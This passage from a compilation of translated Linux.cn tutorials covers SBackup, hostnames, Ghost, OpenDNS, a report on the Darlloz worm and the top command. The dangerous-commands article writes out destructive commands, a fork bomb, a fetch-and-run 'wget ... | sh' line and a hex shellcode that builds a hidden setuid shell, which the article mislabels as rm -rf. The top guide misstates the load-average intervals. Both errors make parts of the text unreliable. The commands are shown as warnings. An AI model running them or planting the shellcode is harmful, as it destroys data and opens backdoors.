在这里你可以选择备份存放的路径，正如我之前提到的，你可以把备份的文档或文件夹存放在硬盘或者远程的 FTP 或 NAS。这里我将把备份保存在 /home/sk/My Backup 目录下。

![](/data/attachment/album/201312/05/230932yzvxyjgf7syp9zbp.jpg)

**提示:** 在备份前确认目录有足够的空间保存备份文件

#### Schedule选项卡

在这个选项中，你可以设定具体的备份时间。点击 **Simple** 选项，可以按每小时、每日、每周、每月来设置你的计划备份时间。

![](/data/attachment/album/201312/05/230933ynuus3eyszf6uufu.jpg)

如果你擅长使用命令行来计划任务，则可以使用 cron 来操作。当你开启每日备份计划时，cron 命令在 **/etc/cron.daily/** 目录中创建计划文件

```
sudo ls -l /etc/cron.daily/sbackup

```

示例的输出显示

```
lrwxrwxrwx 1 root root 33 Nov  8 15:34 /etc/cron.daily/sbackup -> /usr/share/sbackup/sbackup-launch

```

#### Purging选项卡

在这个选项里，可以删除超过一定时间的备份文件。在默认配置下，超过30天的备份文件将被删除。

![](/data/attachment/album/201312/05/2309355yyttxxxvvvtnytx.jpg)

#### Report选项卡

Report 是最后一个选项卡，在这里你可以设置接收备份完成通知的邮箱。输入你的邮箱ID、SMTP服务地址、邮箱用户名、密码后，点击 Test mail settings。需要留意的是，在测试邮箱设置前，点击工具栏中的Save Configuration按钮保存你的配置。

![](/data/attachment/album/201312/05/230938czz08tg42g8dkwss.jpg)

你将在完成测试邮箱设置后看到 “Test Successful” 字样。

### 开始备份

点击 SBackup 工具栏上的 **Make Backup now button** 按钮立即开始备份。

![](/data/attachment/album/201312/05/23093964isosmgiiipmwsz.jpg)

弹出一个窗口，点击 Yes 开始创建备份文件。

![](/data/attachment/album/201312/05/230940ps13spemdvs3fvds.jpg)

现在备份的进程已经在后台开始运行，你可以通过在通知栏上的状态显示来监视备份的进程。

完成备份之后，关闭 SBackup ，并且确认备份文件保存在指定的目录。例子中我保存的目录是/home/sk/My Backup。

![](/data/attachment/album/201312/05/230945wxta98tajeuhazyz.jpg)

### 恢复文件

在终端中运行命令

```
sudo sbackup-restore-gtk

```

在 SBackup 的恢复窗口，选择可用的备份日期和快照，在 Restoration Management 面板中选择任意一个要恢复的文件，单击 **restore** 保存到默认位置或者单击 **restore as** 保存到指定的位置。

![](/data/attachment/album/201312/05/230946cwg3zxe1uxp69qic.jpg)

现在文件已经从备份中恢复，就这么简单。

### 来源:

* <https://launchpad.net/sbackup>
* <http://sourceforge.net/projects/sbackup/>

---

via: <http://www.unixmen.com/linux-desktop-backup-made-easy-sbackup/>

译者：[NearTan](https://github.com/NearTan) 校对：[Caroline](https://github.com/carolinewuyan)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


如何在Linux中显示和设置主机名

Summary:
随着连接到网络的计算机数量越来越多，每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样，计算机也有一个叫做hostname（主机名）的属性。
什么是hostname
从它的操作手册来看，hostname是用来 ...

![](/data/attachment/album/201312/05/230139ej6atlelt66qeoau.jpg)

随着连接到网络的计算机数量越来越多，每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样，计算机也有一个叫做hostname（主机名）的属性。

### 什么是hostname

从它的操作手册来看，hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname依赖于DNS（Domain Name System域名系统）或者NIS（Network Information System网络信息系统）。

### 怎么显示hostname

hostname是为每一个linux发行版的预安装命令。通过在控制台输入hostname，可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。

```
$ hostname
ubuntu

```

上面的命令将会告诉你，计算机的名字是**ubuntu** 。

### 如何设置hostname

Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linux会让你输入主机名称的信息。不过，如果你愿意的话，你在之后设置也可以。

设置你的hostname，你可以使用下面的命令：

```
# hostname dev-machine

$ hostname
dev-machine

```

你**需要使用root权限**，或者等同root的权限来设置/修改你计算机的主机名。“#”标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息，那么你的hostname已经改变了。再一次使用hostname命令检查，看看结果。

使用hostname命令设置你的hostname **不是永久的** 。当你重启你的计算机，你的设定将会失效。 **为了永久改变** ，你必须手动修改hostname配置文件。

**Debian / Ubuntu系的Linux**

你可以在 **/etc/hostname** 和 **/etc/hosts** 文件夹中找到这个文件

下面是每一个文件的内容

**/etc/hostname**

```
# vi /etc/hostname
dev-machine

```

**/etc/hosts**

```
# vi /etc/hosts
127.0.0.1 localhost
127.0.0.1 dev-machine

```

你将会发现不用重启你的linux它就即刻生效。

**RedHat / CentOS系的Linux**

你可以在 **/etc/hosts** 和 **/etc/sysconfig/networks** 文件夹中找到这个文件。

下面是每一个文件的内容

**/etc/hosts**

```
127.0.0.1 localhost.localdomain localhost dev-machine
::localhost 127.0.0.1

```

**/etc/sysconfig/network**

```
NETWORKING=yes
NETWORKING_IPV6=no
HOSTNAME=dev-machine

```

### 怎么显示DNS域名

来自上面的hostname的定义，hostname也可以显示你的Linux的DNS名字。如果你的hostname命令会显示你的hostname，那么dnsdomainname命令也就会显示你的域名。来看看这个简单的例子。

```
$ dnsdomainname
bris.co.id

```

在本篇文章，dnsdomainname命令的结果是 **bris.co.id**。

如果你看见结果是 (**none**)，那么你的机器**没有配置FQDN（Fully Qualified Domain Name 完全符合标准的域名）** 。dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为FQDN格式。下面是一个简单的例子：

**/etc/hosts**

```
127.0.0.1 localhost.localdomain localhost dev-machine
::localhost 127.0.0.1
192.168.0.104 dev-machine.bris.co.id dev-machine

```

为了显示更多的细节，你可以使用参数**-v**

```
$ dnsdomainname -v
gethostname()=’dev-machine.bris.co.id’
Resolving ‘dev-machine.bris.co.id’ …
Result: h_name=’dev-machine.bris.co.id’
Result: h_aliases=’dev-machine’
Result: h_addr_list=’192.168.0.104’

```

### 如何显示hostname的更多细节信息

Hostname命令可以使用多个参数和一些别名，比如dnsdomainname命令就是它的一个别名。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。

**显示IP地址**

```
$ hostname -i
192.168.0.104

```

**显示域名**

```
$ hostname -d
bris.co.id

```

**显示短主机名** $ hostname -s dev-machine

*这个命令将会产生与只输入hostname同样的结果*

**显示FQDN格式**

```
$ hostname -f
dev-machine.bris.co.id

```

**显示细节信息**

所有的参数包括上述信息，都可以通过使用参数**-v** 和 **-d** 来概括。让我们来看一个例子。

```
$ hostname -v -d
gethostname()=’dev-machine.bris.co.id’
Resolving ‘dev-machine.bris.co.id’ …
 Result: h_name=’dev-machine.bris.co.id’
Result: h_aliases=’dev-machine’
Result: h_addr_list=’192.168.0.104’
bris.co.id

```

觉得熟悉吗？没错，运行结果与上面提到的 **dnsdomainname -v** 命令式相同的。

---

via: <http://linoxide.com/linux-command/display-set-hostname-linux/>

译者：[Vic\_\_\_](http://blog.csdn.net/Vic___) 校对：[Caroline](https://github.com/carolinewuyan)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


永远不要在Linux执行的10个最危险的命令

Summary: Linux命令行佷有用、很高效，也很有趣，但有时候也很危险，尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对Linux或linux 命令行的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。 ...

Linux命令行佷有用、很高效，也很有趣，但有时候也很危险，尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对**Linux**或**linux 命令行**的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。（译注：当然，以下命令通常都是在root权限下才能将愚蠢发挥到无可救药；在普通用户身份下，破坏的只是自己的一亩三分地。）

![](/data/attachment/album/201312/07/100744lmgomq4g44wwv7mm.jpg)

### 1. rm -rf 命令

**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些**rm 命令**的选项。

* **rm**　命令在Linux下通常用来删除文件。
* **rm -r** 命令递归的删除文件夹，甚至是空的文件夹。（译注：个人认为此处应该是说错了，从常识看，应该是“甚至是非空的文件夹”）
* **rm -f** 命令能不经过询问直接删除‘只读文件’。（译注：Linux下删除文件并不在乎该文件是否是只读的，而只是在意其父目录是否有写权限。所以，-f这个参数只是表示不必一个个删除确认，而是一律悄悄删除。另外，原始的rm命令其实也是没有删除提示的，只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认，而-f则抑制了这个提示。）
* **rm -rf /** : 强制删除根目录下所有东东。（就是说删除完毕后，什么也没有了。。。）
* rm -rf \*:　强制删除当前目录的所有文件。
* **rm -rf .** : 强制删除当前文件夹及其子文件夹。

从现在起，当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名，来预防用 ‘**rm**‘命令删除文件时的事故，它会要求你确认每一个删除请求。（译注：大多数发行版已经这样做了，如果还没有，请这样做，并在使用-f参数前一定考虑好你在做什么！译者本人有着血泪的教训啊。）

### 2. :(){:|:&};: 命令

这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 ‘:‘的函数，它会调用自己两次，一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

```
:(){:|:&};:

```

哦？你确认你要试试么？千万别在公司正式的服务器上实验啊~~

### 3. 命令　> /dev/sda

上列命令会将某个‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据，从而导致整个块设备的数据丢失。

### 4. mv 文件夹 /dev/null

这个命令会移动某个‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件，所有写入它的数据都会被清除，然后返回写操作成功。（译注：这就是黑洞啊。当然，要说明的是，通过将文件夹移动到黑洞，并不能阻止数据恢复软件的救赎，所以，真正的彻底毁灭，需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。）

```
# mv /home/user/* /dev/null

```

上列命令会将**User**目录所有内容移动到**/dev/null**，这意味着所有东西都被‘卷入’**黑洞　(null)**之中。

### 5. wget http://malicious\_source -O- | sh

上列命令会从一个（也许是）恶意源下载一个脚本并执行。Ｗget命令会下载这个脚本，而**sh**会（无条件的）执行下载下来的脚本。

**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。（译注：所以，你真的知道你在做什么吗？当遇到这种需要是，我的做法是，先wget下来，然后我去读一读其中到底写了些什么，然后考虑是否执行。）

### 6. mkfs.ext3 /dev/sda

上列命令会格式化块设备‘**sda**’，你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化，**崭新的!**没有任何数据，直接让你的系统达到不可恢复的阶段。（译注：通常不会直接使用/dev/sda这样的设备，除非是作为raw设备使用，一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然，无论你使用sda还是sda1，这样对块设备或分区进行mkfs都是毁灭性的，上面的数据都会被蒸发了。）

### 7. > file

上列命令常用来清空文件内容（译注：通常也用于记录命令输出。不过请在执行前，确认输出的文件是空的或者还不存在，否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外，我想你可能真正想用的是“>>”，即累加新的输出到文件，而不是刷新那个文件。）。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**”　的命令会覆盖配置文件或其他任何的系统配置文件。

### **8. ^foo^bar**

这个命令在我们[十个鲜为人知的 Linux 命令 - Part 3](http://linux.cn/article-2284-1.html)中描述过，用来编辑先前运行的命令而无需重打整个命令。但当用**<sup> foo <sup>  bar </sup></sup>**命令时如果你没有彻底检查改变原始命令的风险，这可能导致真正的麻烦。（译注：事实上，这种小技巧是译者认为的，少数史前时代遗留下来的无用而有害的“黑客”技巧。）

### 9. dd if=/dev/random of=/dev/sda

上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然！你的系统可能陷入混乱和不可恢复的状态。（译注：记得上面说过mv到黑洞并不能彻底删除数据么？那么这个命令就是给了你一个彻底删除的方法！当然为了保险起见，你可以覆写多次。）

### 10. 隐藏命令

下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的**根**分区。

这个命令表明通常真正的危险是隐藏的，不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译／运行从未知来源的代码。

```
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

```

**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们，请在虚拟机上运行。任何不和谐或数据丢失，由于运行上面的命令导致你的系统崩溃，文章**作者**和**Tecmint**概不负责。（译注：译者和转载网站也不负责~！）

今天就到此为止吧，我会很快回来这里，同时带上另一篇你们喜欢的文章。到那时请继续关注和访问**Tecmint**。如果你知道任何其他**危险的Linux命令**，也想添加到我们的列表中，请通过评论留言给我们同时也别忘了留下你的宝贵意见。

---

via: <http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/>

译者：[Luoxcat](https://github.com/Luoxcat) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


如何在Linux平台上安装Ghost博客平台

Summary: Ghost是一个相对较新的博客发布平台，它开始于众筹平台kickstarter上一个25,000英镑的众筹项目。尽管WordPress依然是网上主流的博客工具，但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台，发展到现在  ...

[Ghost](https://ghost.org/)是一个相对较新的博客发布平台，它开始于众筹平台kickstarter上一个[£25,000英镑的众筹项目](http://www.kickstarter.com/projects/johnonolan/ghost-just-a-blogging-platform)。尽管WordPress依然是网上主流的博客工具，但它现在已然是一个拥有众多第三方开发功能的通用内容管理平台，发展到现在已经逐渐变得笨重、复杂以至于难以维护。但与此同时，仅仅诞生才几个月的Ghost坚持以用户为中心，打造精雕细琢的用户界面，承诺要做一个纯粹的博客平台。

![](/data/attachment/album/201312/07/102034beagjj1cgbpb8jjz.png)

在本教程中，我将描述**如何在Linux中设置Ghost博客平台**。

### 在Linux上安装Ghost

Ghost是使用Node.js框架编写的。因此，首先你需要在你的Linux系统上[安装Node.js框架](http://ask.xmodulo.com/install-node-js-linux.html)。确保Node.js的版本为0.10或者更高。接下来，登录入[http://ghost.org](https://ghost.org/)(需要注册)，然后下载Ghost的源代码。记着按照下面的步骤安装：

```
$ sudo mkdir -p /var/www/ghost
$ sudo unzip ghost-0.3.3.zip -d /var/www/ghost
$ cd /var/www/ghost
$ sudo npm install --production

```

### 启动前先配置Ghost

在你启动Ghost之前，按照下面的步骤在/var/www/ghost/config.js位置创建它的配置文件。使用你的主机IP地址替换掉“YOUR\_IP”。

```
$ cd /var/www/ghost
$ sudo cp config.example.js config.js
$ sudo sed -i 's/127.0.0.1/YOUR_IP/g' config.js

```

### 以开发者模式尝试运行Ghost

搞到这一步，你就可以准备去启动Ghost咯。

要注意的是，Ghost可以以两种不同的模式运行：“开发者模式”和“用户模式”。为了安全起见，Ghost将两种模式的配置文件（/var/www/ghost/config.js）分开存放。例如，两种不同的模式使用不同的数据库文件（例如位于/var/www/content/data的ghostdev.db和ghost.db）。

使用以下命令就可以启动Ghost。Ghost默认以开发者模式运行。

```
$ cd /var/www/ghost
$ sudo npm start

```

Ghost成功运行后，终端中会有以下输出信息，告诉你Ghost正运行在:2368（译者注：2368为端口号）。

[![](/data/attachment/album/201312/07/1020422d22xp8d8pfef8ff.jpg)](http://www.flickr.com/photos/xmodulo/10881189204/)

在你本机的浏览器中键入 http://:2368，身份校验后你就会看到Ghost的初始页面。

[![](/data/attachment/album/201312/07/102045yxj88fjwvuyvnxzl.jpg)](http://www.flickr.com/photos/xmodulo/10881348733/)

### 以用户身份启动Ghost

在你确认Ghost运行完好后，按下Ctrl+C停用开发者模式下的Ghost。现在你就可以在用户模式下启动Ghost咯。当你以用户模式运行Ghost时，你就可以使用Node.js呼叫forever模块了，forever模块允许你以守护进程运行Ghost，还可以让你以后台进程运行Ghost。

安装forever模块：

```
$ sudo npm install forever -g

```

最后，你就可以以用户模式像下面这样运行Ghost：

```
$ cd /var/www/ghost
$ sudo NODE_ENV=production forever start index.js

```

检查一下Ghost的数据库文件是否成功以用户模式创建（/var/www/ghost/content/ghost.db）。

你也可以检查一下forever活动进程列表：

```
$ sudo forever list
 info:    Forever processes running
 data:        uid  command         script   forever pid   logfile                     uptime
 data:    [0] cH0O /usr/bin/nodejs index.js 15355   15357 /home/dev/.forever/cH0O.log 0:0:0:37.741
```

假如你看到以上信息，意味着Ghost已经成功以后台进程运行咯。

想停止Ghost守护进程，可以运行以下命令：

```
$ cd /var/www/ghost
$ sudo forever stop index.js

```

---

via: <http://xmodulo.com/2013/11/install-ghost-blogging-platform-linux.html>

译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[Mr小眼儿](http://blog.csdn.net/tinyeyeser)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


每日Ubuntu小技巧-使用OpenDNS来保护你的电脑

Summary:
互联网是个大熔炉。无论是好人还是坏人，都可以和我们一样连接到网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
就像人们所说的那样，互联网是过去所出现的一个最好的东东。  ...

互联网是个大熔炉。无论是好人还是坏人，都可以和我们一样连接到网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。

就像人们所说的那样，互联网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源，且大部分可以免费获取。一些最著名高校的人提供了免费的高质量课程，可供任何想学习的人来学习。今天，我们都可以连入互联网真是一件好事情。

但是有些事情你一定要记住，当你连入互联网时，你的电脑就成了攻击的目标。成为病毒，木马和其它程序破坏的目标。

正因为此，推荐连入互联网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下，即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。

当寻找添加一个额外的安全层去保护你的机器时，使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成，尽力对其每一部分都进行相应保护是保证安全的最好方法。

首先，你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器，因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。（译注：我们认为，其实在Ubuntu上使用反病毒和反间谍软件并不太必要，但是使用OpenDNS来拦截对恶意网址的访问是有必要的。另外，使用国外的DNS可能会比较慢，也许过一段时间，国内也会出现类似的服务。）

这是一个简明手册，告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。

```
sudo gedit /etc/dhcp/dhclient.conf

```

最后，在打开的文件中添加下面一行，然后保存。

```
supersede domain-name-servers 208.67.222.222,208.67.220.220;

```

重启你的电脑，祝你玩的开心！

![](/data/attachment/album/201312/07/1040187i3ncccke9ldncbn.png)

好好享受吧！

---

via: <http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/>

译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


新蠕虫能感染 Linux 系统和嵌入式设备！

Summary:
来自赛门铁克研究员的消息，这个病毒通过2012年出现的 PHP 漏洞传播
据美国国际数据集团（IDG）的新闻  一个新的蠕虫病毒将目标指向那些运行了 Linux 和 PHP 的 x86 架构计算机，其变种还会对运行在其他芯片架构上的 ...

**来自赛门铁克研究员的消息，这个病毒通过2012年出现的 PHP 漏洞传播**

据美国国际数据集团（IDG）的新闻 —— 一个新的蠕虫病毒将目标指向那些运行了 Linux 和 PHP 的 x86 架构计算机，其变种还会对运行在其他芯片架构上的设备（诸如家用路由器和机顶盒）造成威胁。

![](/data/attachment/album/201312/07/2024485n6n16t1d7tlq1vm.png)

根据赛门铁克研究员的介绍，这种病毒利用 php-cgi 上的一个漏洞进行传播，这个 php-cgi 组件的功能是允许 PHP 代码在通用网关接口（CGI）的配置环境下被执行。此漏洞的代号为 CVE-2012-1823（通过这个漏洞，攻击者可以远程执行任意代码，所以这种漏洞又叫“远程任意代码执行漏洞” —— 译者注）。2012年5月份，PHP 5.4.3 和 PHP 5.3.13 这两个版本已经打上补丁修复了这个漏洞。

这个赛门铁克的研究员在[博客](http://www.symantec.com/connect/blogs/linux-worm-targeting-hidden-devices)中写道：这个名为“Linux.Darlloz”的新蠕虫病毒基于去年10月份放出的 PoC 代码（PoC：proof of concept，概念验证。利用目标计算机的漏洞，为对其进行攻击而设计的代码称为 exploit，而一个没有充分利用漏洞的 exploit，就是 PoC —— 译者注）。

“在传播过程中，这段蠕虫代码会随机产生 IP 地址，通过特殊途径，利用普通的用户名密码发送 HTTP POST 请求，探测漏洞”，研究员解释道：“如果一个目标没有打上 CVE-2012-1823 的补丁，这台机器就会从病毒服务器下载蠕虫病毒，之后寻找下一个目标。”

这个唯一的蠕虫变种目前为止只感染了 x86 系统，这是因为这个病毒的二进制格式为 Intel 架构下的 ELF （Executable and Linkable Format）格式。

然而这个研究员警告说，黑客也为其他架构开发了病毒，包括 ARM，PPC，MIPS 和 MIPSEL。

这些计算机架构主要用于诸如家用路由器、网络监视器、机顶盒以及其他嵌入式设备。

“攻击者显然试图在最大范围内感染运行 Linux 的设备”，研究员又说：“然而我们还没有证实他们有没有攻击非 PC 设备。”

很多嵌入式设备的固件都使用 Linux 作为操作系统，并且使用 PHP 作为 Web 服务管理界面。这些设备比 PC 机 或服务器更容易被攻陷，因为它们不会经常更新软件。

在嵌入式设备为一个漏洞打上补丁，从来都不是件容易的事。很多厂商都不会定期公布更新信息，而当他们公布时，用户也不会被告知说这些更新解决了哪些安全问题。

并且，在嵌入式设备上更新软件比在计算机上需要更多的工作，以及更多的技术知识。用户需要知道哪些网站能提供这些更新，然后下载下来，通过 Web 界面更新到他们的设备中。

“很多用户也许压根就不知道他们家里或办公室的设备存在漏洞，”啰嗦的研究员说：“我们面临的另一个问题是，即使用户注意到他们用的是有漏洞的设备，这些设备的供应商却没有提供补丁，原因是技术落后，或者完全就是硬件的限制：内存不足，或 CPU 太慢，不足以支持这些软件的新版本。”

“为了保护他们的设备免受蠕虫感染，用户需要确认这些设备是否运行在最新的固件版本上，必要的话，升级固件，设置高强度的管理员密码，在防火墙那儿，或任何独立的设备那儿，屏蔽任何对 -/cgi-bin/php, -/cgi-bin/php5, -/cgi-bin/php-cgi, -/cgi-bin/php.cgi and -/cgi-bin/php4 的 HTTP POST 请求。”没完没了的赛门铁克研究员说道。

---

via: <http://www.computerworld.com/s/article/9244409/This_new_worm_targets_Linux_PCs_and_embedded_devices?taxonomyId=122>

译者：[bazz2](https://github.com/bazz2) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


30个实例详解TOP命令

Summary: Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中，我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们  ...

top命令不是1分钟 、5分钟、15分钟吗？

Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中，我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。

（译注：不同发行版的top命令在各种细节有不同，如果发现不同时，请读你的帮助手册和命令内的帮助。）

1. Top 命令输出:
------------

首先，让我们了解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义：默认运行时，top命令会显示如下输出：

![默认显示](/data/attachment/album/201312/08/1059303wxpx1auj5xwww11.png)

前几行水平显示了不同系统参数的概括，接下来是进程和它们在列中的属性。

### 1.1 系统运行时间和平均负载：

![显示运行时间](/data/attachment/album/201312/08/1059317q7vsg9cbyqqb7po.png)

top命令的顶部显示与uptime命令相似的输出。

这些字段显示：

* 当前时间
* 系统已运行的时间
* 当前登录用户的数量
* 相应最近5、10和15分钟内的平均负载。

可以使用'l'命令切换uptime的显示。

### 1.2 任务:

![任务概况](/data/attachment/album/201312/08/105931xoaldfxol7v1kpaf.png)

第二行显示的是任务或者进程的总结。进程可以处于不同的状态。这里显示了全部进程的数量。除此之外，还有正在运行、睡眠、停止、僵尸进程的数量（僵尸是一种进程的状态）。这些进程概括信息可以用't'切换显示。

### 1.3 CPU 状态:

![CPU状态显示](/data/attachment/album/201312/08/105932tdjqyrrwzlpyisni.png)

下一行显示的是CPU状态。 这里显示了不同模式下的所占CPU时间的百分比。这些不同的CPU时间表示:

* us, user： 运行(未调整优先级的) 用户进程的CPU时间
* sy，system: 运行内核进程的CPU时间
* ni，niced：运行已调整优先级的用户进程的CPU时间
* wa，IO wait: 用于等待IO完成的CPU时间
* hi：处理硬件中断的CPU时间
* si: 处理软件中断的CPU时间
* st：这个虚拟机被hypervisor偷去的CPU时间（译注：如果当前处于一个hypervisor下的vm，实际上hypervisor也是要消耗一部分CPU处理时间的）。

可以使用't'命令切换显示。

### 1.4 内存使用:

![内存使用情况](/data/attachment/album/201312/08/105933i53bi3a3ioocff3c.png)

接下来两行显示内存使用率，有点像'free'命令。第一行是物理内存使用，第二行是虚拟内存使用(交换空间)。

物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地：交换部分显示的是：全部、已使用、空闲和缓冲交换空间。

内存显示可以用'm'命令切换。

### 1.5 字段/列:

![任务信息列](/data/attachment/album/201312/08/105935j73jls2nzljjz267.png)

在横向列出的系统属性和状态下面，是以列显示的进程。不同的列代表下面要解释的不同属性。

默认上，top显示这些关于进程的属性：

**PID**

进程ID，进程的唯一标识符

**USER**

进程所有者的实际用户名。

**PR**

进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。

**NI**

进程的nice值（优先级）。越小的值意味着越高的优先级。

**VIRT**

进程使用的虚拟内存。

**RES**

驻留内存大小。驻留内存是任务使用的非交换物理内存大小。

**SHR**

SHR是进程使用的共享内存。

**S**

这个是进程的状态。它有以下不同的值:

* D - 不可中断的睡眠态。
* R – 运行态
* S – 睡眠态
* T – 被跟踪或已停止
* Z – 僵尸态

**%CPU**

自从上一次更新时到现在任务所使用的CPU时间百分比。

**%MEM**

进程使用的可用物理内存百分比。

**TIME+**

任务启动后到现在所使用的全部CPU时间，精确到百分之一秒。

**COMMAND**

运行进程所使用的命令。

还有许多在默认情况下不会显示的输出，它们可以显示进程的页错误、有效组和组ID和其他更多的信息。

2. 交互命令:
--------

我们之前说过top是一个交互命令。上一节我们已经遇到了一些命令。这里我们会探索更多的命令。

### 2.1 ‘h’: 帮助

首先，我们可以用'h'或者'?'显示交互命令的帮助菜单。

![帮助菜单](/data/attachment/album/201312/08/105936cj7jkz3ykf7zvmdk.png)

### 2.2 ‘’ 或者 ‘’: 刷新显示

top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新，用户可以输入回车或者空格。

### 2.3 ‘A’: 切换交替显示模式

这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口（译注：分别关注不同的字段）:

1. Def （默认字段组）
2. Job （任务字段组）
3. Mem （内存字段组）
4. Usr （用户字段组）

这四组字段共有一个独立的可配置的概括区域和它自己的可配置任务区域。4个窗口中只有一个窗口是当前窗口。当前窗口的名称显示在左上方。（译注：只有当前窗口才会接受你键盘交互命令）

![交替显示](/data/attachment/album/201312/08/105938dabl2ra2bl0arjiw.png)

我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口，'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。

![在交替显示中选择窗口](/data/attachment/album/201312/08/105940bcm2mppqct2fc6m0.png)

### 2.4 ‘B’: 触发粗体显示

一些重要信息会以加粗字体显示。这个命令可以切换粗体显示。

![关闭粗体](/data/attachment/album/201312/08/1059424zwud4keu7xvr7qo.png)

### 2.5 ‘d’ 或‘s’: 设置显示的刷新间隔

当按下'd'或's'时，你将被提示输入一个值（以秒为单位），它会以设置的值作为刷新间隔。如果你这里输入了1，top将会每秒刷新。

![刷新间隔l](/data/attachment/album/201312/08/105943wgch4mc4hkqhzdaz.png)

### 2.6 ‘l’、‘t’、‘m’: 切换负载、任务、内存信息的显示

这会相应地切换顶部的平均负载、任务/CPU状态和内存信息的概况显示。

![不显示平均负载](/data/attachment/album/201312/08/105944mxfw15eh9bc1xxzh.png)

![不显示CPU概况](/data/attachment/album/201312/08/105945jwk2p2cccsljxcjj.png)

![不显示内存和交换内存概况](/data/attachment/album/201312/08/105947mtubthkiwtnh5cet.png)

![上面三个全不显示](/data/attachment/album/201312/08/105948dqm2oabw2jaoj22w.png)

### 2.7 ‘f’: 字段管理

用于选择你想要显示的字段。用'\*'标记的是已选择的。

![管理显示列](/data/attachment/album/201312/08/105950vudzhhu8yvzflhxr.png)

上下光标键在字段内导航，左光标键可以选择字段，回车或右光标键确认。

